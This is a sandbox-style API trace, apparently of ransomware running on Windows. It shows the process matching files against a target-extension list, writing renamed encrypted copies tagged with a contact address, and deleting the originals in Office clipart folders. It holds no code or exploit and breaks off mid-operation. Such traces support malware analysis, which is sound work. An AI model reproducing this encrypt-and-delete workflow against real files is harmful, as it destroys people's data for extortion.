	[0057.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0057.050] lstrlenW (lpString=".jpg") returned 4
	[0057.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.050] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.050] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0057.051] GetLastError () returned 0x0
	[0057.051] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x7992, lpOverlapped=0x0) returned 1
	[0057.057] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x79a0, lpOverlapped=0x0) returned 1
	[0057.058] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.059] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.059] SetEndOfFile (hFile=0x2f4) returned 1
	[0057.059] CloseHandle (hObject=0x2f4) returned 1
	[0057.060] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.060] SetEndOfFile (hFile=0x390) returned 1
	[0057.061] CloseHandle (hObject=0x390) returned 1
	[0057.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1
	[0057.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0057.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0057.062] lstrlenW (lpString=".doc") returned 4
	[0057.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.062] lstrlenW (lpString=".docx") returned 5
	[0057.062] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.062] lstrlenW (lpString=".pdf") returned 4
	[0057.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.062] lstrlenW (lpString=".xls") returned 4
	[0057.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.062] lstrlenW (lpString=".xlsx") returned 5
	[0057.062] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.062] lstrlenW (lpString=".ppt") returned 4
	[0057.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0057.062] lstrlenW (lpString=".zip") returned 4
	[0057.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.062] lstrlenW (lpString=".rar") returned 4
	[0057.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.062] lstrlenW (lpString=".bz2") returned 4
	[0057.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.062] lstrlenW (lpString=".7z") returned 3
	[0057.062] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0057.062] lstrlenW (lpString=".dbf") returned 4
	[0057.062] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0057.062] lstrlenW (lpString=".1cd") returned 4
	[0057.062] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68
	[0057.062] lstrlenW (lpString=".jpg") returned 4
	[0057.062] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.064] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.065] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0057.065] GetLastError () returned 0x0
	[0057.065] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x73bc, lpOverlapped=0x0) returned 1
	[0057.103] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x73c0, lpOverlapped=0x0) returned 1
	[0057.104] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.104] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.104] SetEndOfFile (hFile=0x388) returned 1
	[0057.105] CloseHandle (hObject=0x388) returned 1
	[0057.106] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.106] SetEndOfFile (hFile=0x2d0) returned 1
	[0057.106] CloseHandle (hObject=0x2d0) returned 1
	[0057.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00234_.wmf")) returned 1
	[0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0057.107] lstrlenW (lpString=".doc") returned 4
	[0057.107] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.107] lstrlenW (lpString=".docx") returned 5
	[0057.107] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.107] lstrlenW (lpString=".pdf") returned 4
	[0057.107] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.107] lstrlenW (lpString=".xls") returned 4
	[0057.107] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.107] lstrlenW (lpString=".xlsx") returned 5
	[0057.107] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.107] lstrlenW (lpString=".ppt") returned 4
	[0057.107] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0057.107] lstrlenW (lpString=".zip") returned 4
	[0057.107] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.107] lstrlenW (lpString=".rar") returned 4
	[0057.107] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.108] lstrlenW (lpString=".bz2") returned 4
	[0057.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.108] lstrlenW (lpString=".7z") returned 3
	[0057.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0057.108] lstrlenW (lpString=".dbf") returned 4
	[0057.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0057.108] lstrlenW (lpString=".1cd") returned 4
	[0057.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 68
	[0057.108] lstrlenW (lpString=".jpg") returned 4
	[0057.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.109] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.109] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0057.109] GetLastError () returned 0x0
	[0057.109] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x9c5e, lpOverlapped=0x0) returned 1
	[0057.254] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x9c60, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x9c60, lpOverlapped=0x0) returned 1
	[0057.255] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.255] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.255] SetEndOfFile (hFile=0x388) returned 1
	[0057.255] CloseHandle (hObject=0x388) returned 1
	[0057.255] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.255] SetEndOfFile (hFile=0x2d0) returned 1
	[0057.256] CloseHandle (hObject=0x2d0) returned 1
	[0057.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.257] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00297_.wmf")) returned 1
	[0057.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0057.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0057.257] lstrlenW (lpString=".doc") returned 4
	[0057.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.257] lstrlenW (lpString=".docx") returned 5
	[0057.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.257] lstrlenW (lpString=".pdf") returned 4
	[0057.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.257] lstrlenW (lpString=".xls") returned 4
	[0057.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.257] lstrlenW (lpString=".xlsx") returned 5
	[0057.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.257] lstrlenW (lpString=".ppt") returned 4
	[0057.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0057.257] lstrlenW (lpString=".zip") returned 4
	[0057.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.257] lstrlenW (lpString=".rar") returned 4
	[0057.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.257] lstrlenW (lpString=".bz2") returned 4
	[0057.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.257] lstrlenW (lpString=".7z") returned 3
	[0057.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0057.257] lstrlenW (lpString=".dbf") returned 4
	[0057.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0057.258] lstrlenW (lpString=".1cd") returned 4
	[0057.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00297_.WMF") returned 68
	[0057.258] lstrlenW (lpString=".jpg") returned 4
	[0057.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.258] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.258] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0057.258] GetLastError () returned 0x0
	[0057.258] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x44b0, lpOverlapped=0x0) returned 1
	[0057.280] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x44c0, lpOverlapped=0x0) returned 1
	[0057.281] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.281] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.281] SetEndOfFile (hFile=0x388) returned 1
	[0057.281] CloseHandle (hObject=0x388) returned 1
	[0057.281] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.281] SetEndOfFile (hFile=0x2d0) returned 1
	[0057.282] CloseHandle (hObject=0x2d0) returned 1
	[0057.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1
	[0057.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0057.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0057.283] lstrlenW (lpString=".doc") returned 4
	[0057.283] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.283] lstrlenW (lpString=".docx") returned 5
	[0057.283] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.283] lstrlenW (lpString=".pdf") returned 4
	[0057.283] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.283] lstrlenW (lpString=".xls") returned 4
	[0057.283] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.283] lstrlenW (lpString=".xlsx") returned 5
	[0057.283] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.283] lstrlenW (lpString=".ppt") returned 4
	[0057.283] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0057.283] lstrlenW (lpString=".zip") returned 4
	[0057.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.283] lstrlenW (lpString=".rar") returned 4
	[0057.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.283] lstrlenW (lpString=".bz2") returned 4
	[0057.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.283] lstrlenW (lpString=".7z") returned 3
	[0057.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0057.283] lstrlenW (lpString=".dbf") returned 4
	[0057.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0057.283] lstrlenW (lpString=".1cd") returned 4
	[0057.284] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68
	[0057.284] lstrlenW (lpString=".jpg") returned 4
	[0057.284] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.284] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.285] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0057.285] GetLastError () returned 0x0
	[0057.285] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x1e94, lpOverlapped=0x0) returned 1
	[0057.376] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1ea0, lpOverlapped=0x0) returned 1
	[0057.438] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.438] WriteFile (in: hFile=0x388, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0057.438] SetEndOfFile (hFile=0x388) returned 1
	[0057.438] CloseHandle (hObject=0x388) returned 1
	[0057.438] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.438] SetEndOfFile (hFile=0x2d0) returned 1
	[0057.439] CloseHandle (hObject=0x2d0) returned 1
	[0057.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1
	[0057.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0057.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0057.440] lstrlenW (lpString=".doc") returned 4
	[0057.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.440] lstrlenW (lpString=".docx") returned 5
	[0057.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0057.440] lstrlenW (lpString=".pdf") returned 4
	[0057.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.440] lstrlenW (lpString=".xls") returned 4
	[0057.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.440] lstrlenW (lpString=".xlsx") returned 5
	[0057.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0057.440] lstrlenW (lpString=".ppt") returned 4
	[0057.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0057.440] lstrlenW (lpString=".zip") returned 4
	[0057.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.440] lstrlenW (lpString=".rar") returned 4
	[0057.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.440] lstrlenW (lpString=".bz2") returned 4
	[0057.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.440] lstrlenW (lpString=".7z") returned 3
	[0057.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0057.440] lstrlenW (lpString=".dbf") returned 4
	[0057.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0057.440] lstrlenW (lpString=".1cd") returned 4
	[0057.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68
	[0057.440] lstrlenW (lpString=".jpg") returned 4
	[0057.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.441] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.441] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00413_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0057.441] GetLastError () returned 0x0
	[0057.441] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xa7f0, lpOverlapped=0x0) returned 1
